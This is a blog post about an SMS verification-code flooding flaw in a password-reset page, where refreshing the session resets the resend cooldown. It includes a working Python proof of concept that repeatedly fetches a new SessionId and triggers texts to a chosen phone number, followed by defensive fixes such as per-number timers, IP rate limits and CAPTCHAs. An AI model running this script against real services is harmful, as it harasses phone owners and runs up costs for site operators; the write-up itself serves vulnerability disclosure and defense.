当前位置:网站首页>Defense Ideas for a Type of SMS Vulnerability
Defense Ideas for a Type of SMS Vulnerability
2022-07-30 06:35:00 【P4nic】
0x01 Vulnerability Verification:
SMS-related website functions may have such vulnerabilities
For example: register account, change password, bind mobile phone and other important functions
The login interface is shown below, click forgot password
The process of retrieving the password is as follows:
Verify that it needs to wait 60s after each verification code is sent
Try to refresh the page and send the SMS again, and found that the message was sent successfully
burp captures packets and finds that the SessionId changes every time the page is refreshed, so try to modify the SessionId
Get SessionId
F12 finds the SessionId in the response packet
Regular expression to extract SessionId:
page_text = s.post(url=id_get_url, headers=headers, data=data).textex = 'SessionId"]="(.*?)";'SessionId = re.findall(ex, page_text)[0]
Because the SessionId corresponds to a cookie, after obtaining the SessionId from the first url, the request header should also bring the cookie, and then request the second url. In order to facilitate the use of requests.Session() to create a Session object, the cookie will be automatically obtained
The POC is as follows:
import requestsimport reimport timefor i in range(13): # Send SMS 13 timess = requests.Session()headers = {'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome \/98.0.4758.102 Safari/537.36 Edg/98.0.1108.62",}id_get_url = "https://CanNotTellYou.com/test"data = {'tranFlag': 0,'netType': 7,'Language': 'zh_CN','PlatFlag': 3,'ComputID': 10,'StructCode': 1,'customerGroup': 1010,'channelCode': 302,'User_browser': 'Chrome:98.0.4758.102','User_os': 'Windows10',}page_text = s.post(url=id_get_url, headers=headers, data=data).textex = 'SessionId"]="(.*?)";'SessionId = re.findall(ex, page_text)[0]# with open('./page_text.html', 'w', encoding='utf-8') as f:# f.writelines(page_text)url = 'https://AgainNoTellYou.com/test'post_data = {'tranFlag': 1,'loginID': 12345678978, # phone number'SessionId': SessionId,'tranCode': 'A00012','StructCode': 1,}response = s.post(url=url, headers=headers, data=post_data)print(response.text)time.sleep(2)
The verification results are as follows:
0x02 vulnerability harm:
- From a company perspective:
Sending a registered SMS verification code will pay a certain fee to the SMS provider. Although a text message may cost a few cents, if the website has SMS loopholes, it can cause great losses if it is exploited by people with intentions
- From the user's point of view:
harassment to users of the site
0x03 Defensive Stance:
In the above example, although there is a limit on the total number of SMS received by each number per day, the interval time limit for sending is simply identified by SessionId. More reasonable methods are as follows:
- A timer is generated for each number at the back end, and it will not be resent within a specified time
- Restrict the number and frequency of POST submissions per minute for users with the same IP
- Enter the correct image and text verification code every time you submit a text message
边栏推荐
猜你喜欢
[Mozhe Academy] Identity Authentication Failure Vulnerability Actual Combat
目前主流浏览器以及对应的内核
FastAPI 快速入门
Misc of CTF-image steganography
连接云服务器Docker中的Mysql 详细图文操作(全)
uni-app:关于自定义组件、easycom规范、uni_modules等问题
php实现数据库的增删查改操作-教务管理系统
Application Practice | Application Practice of Apache Doris in Baidu Intelligent Cloud Billing System
CTF之misc-图片隐写
sqli-labs靶场 SQL注入学习 Less-1
随机推荐
jsonpath
Application Practice | Application Practice of Apache Doris in Baidu Intelligent Cloud Billing System
let到底会不会造成变量提升
async/await用法详解
C#下利用开源NPlot绘制股票十字交叉线
别找了,你要的C语言“数组”在这里
搞懂redux一篇就够了
setAttribute()方法
C语言(入门篇一)
第一篇博客
目前主流浏览器以及对应的内核
npm run serve启动报错npm ERR Missing script “serve“
awd——waf部署
js方法 reduce 用法
猜数字游戏
volatility内存取证----命令演示
MySQL storage engine
jsx的实现
div设置一个最小高度和最大高度,但是中间可以靠内容撑开
P3 元宝序列化笔记